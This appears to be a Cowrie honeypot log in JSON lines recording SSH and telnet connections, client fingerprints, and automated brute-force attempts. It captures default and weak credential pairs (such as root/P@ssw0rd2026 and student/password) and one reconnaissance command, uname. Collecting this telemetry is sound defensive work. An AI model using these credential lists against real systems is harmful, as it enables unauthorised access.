{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:49.411321Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:49.413527Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:50.139724Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:50.180645Z","src_ip":"91.92.42.227","session":"8a13238d0b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48516,"dst_ip":"10.17.0.5","dst_port":22,"session":"34944dcc1e76","protocol":"ssh","message":"New connection: 91.92.42.227:48516 (10.17.0.5:22) [session: 34944dcc1e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:50.577945Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38166,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b22a9636162","protocol":"ssh","message":"New connection: 45.156.87.147:38166 (10.17.0.5:22) [session: 8b22a9636162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.192564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.196101Z","src_ip":"45.156.87.147","session":"8b22a9636162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.276430Z","src_ip":"45.156.87.147","session":"8b22a9636162","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.285375Z","src_ip":"91.92.42.227","session":"34944dcc1e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.346328Z","src_ip":"91.92.42.227","session":"34944dcc1e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:51.530621Z","src_ip":"45.156.87.147","session":"8b22a9636162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:52.622190Z","src_ip":"45.156.87.147","session":"8b22a9636162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54120,"dst_ip":"159.203.135.109","dst_port":23,"session":"232c01e916d7","protocol":"telnet","message":"New connection: 128.199.8.54:54120 (159.203.135.109:23) [session: 232c01e916d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:54.286123Z"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:54.784859Z","src_ip":"91.92.42.227","session":"34944dcc1e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:56.337961Z","src_ip":"91.92.42.227","session":"34944dcc1e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38180,"dst_ip":"10.17.0.5","dst_port":22,"session":"205c8114def2","protocol":"ssh","message":"New connection: 45.156.87.147:38180 (10.17.0.5:22) [session: 205c8114def2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:56.911734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:56.914771Z","src_ip":"45.156.87.147","session":"205c8114def2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:56.995189Z","src_ip":"45.156.87.147","session":"205c8114def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:57.369408Z","src_ip":"45.156.87.147","session":"205c8114def2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:58.453554Z","src_ip":"45.156.87.147","session":"205c8114def2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43688,"dst_ip":"10.17.0.5","dst_port":22,"session":"327ef6d67e0c","protocol":"ssh","message":"New connection: 91.92.42.227:43688 (10.17.0.5:22) [session: 327ef6d67e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:58.597108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:58.696899Z","src_ip":"91.92.42.227","session":"327ef6d67e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:58.700834Z","src_ip":"91.92.42.227","session":"327ef6d67e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:59.325659Z","src_ip":"91.92.42.227","session":"327ef6d67e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"901b674f3dfc","protocol":"ssh","message":"New connection: 8.219.200.1:44504 (10.17.0.5:22) [session: 901b674f3dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:59.477621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:00.173378Z","src_ip":"8.219.200.1","session":"901b674f3dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:00.177121Z","src_ip":"8.219.200.1","session":"901b674f3dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:00.594537Z","src_ip":"91.92.42.227","session":"327ef6d67e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54848,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e2300e1dc0","protocol":"ssh","message":"New connection: 45.156.87.147:54848 (10.17.0.5:22) [session: e9e2300e1dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:02.711550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:02.750299Z","src_ip":"45.156.87.147","session":"e9e2300e1dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:02.794525Z","src_ip":"45.156.87.147","session":"e9e2300e1dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234567890","message":"login attempt [sam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:03.117166Z","src_ip":"45.156.87.147","session":"e9e2300e1dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:04.212848Z","src_ip":"45.156.87.147","session":"e9e2300e1dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:04.289043Z","src_ip":"8.219.200.1","session":"901b674f3dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:05.536262Z","src_ip":"8.219.200.1","session":"901b674f3dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41848,"dst_ip":"10.17.0.5","dst_port":22,"session":"99cd8babb98f","protocol":"ssh","message":"New connection: 91.92.42.227:41848 (10.17.0.5:22) [session: 99cd8babb98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:05.682673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:05.870596Z","src_ip":"91.92.42.227","session":"99cd8babb98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:05.877738Z","src_ip":"91.92.42.227","session":"99cd8babb98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:07.119217Z","src_ip":"91.92.42.227","session":"99cd8babb98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6860843f45f7","protocol":"ssh","message":"New connection: 45.156.87.147:54854 (10.17.0.5:22) [session: 6860843f45f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.332216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.336116Z","src_ip":"45.156.87.147","session":"6860843f45f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":34042,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7f7421298b","protocol":"telnet","message":"New connection: 102.37.220.188:34042 (159.203.135.109:23) [session: 7a7f7421298b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.398526Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.418060Z","src_ip":"45.156.87.147","session":"6860843f45f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.518481Z","src_ip":"91.92.42.227","session":"99cd8babb98f","protocol":"ssh"}
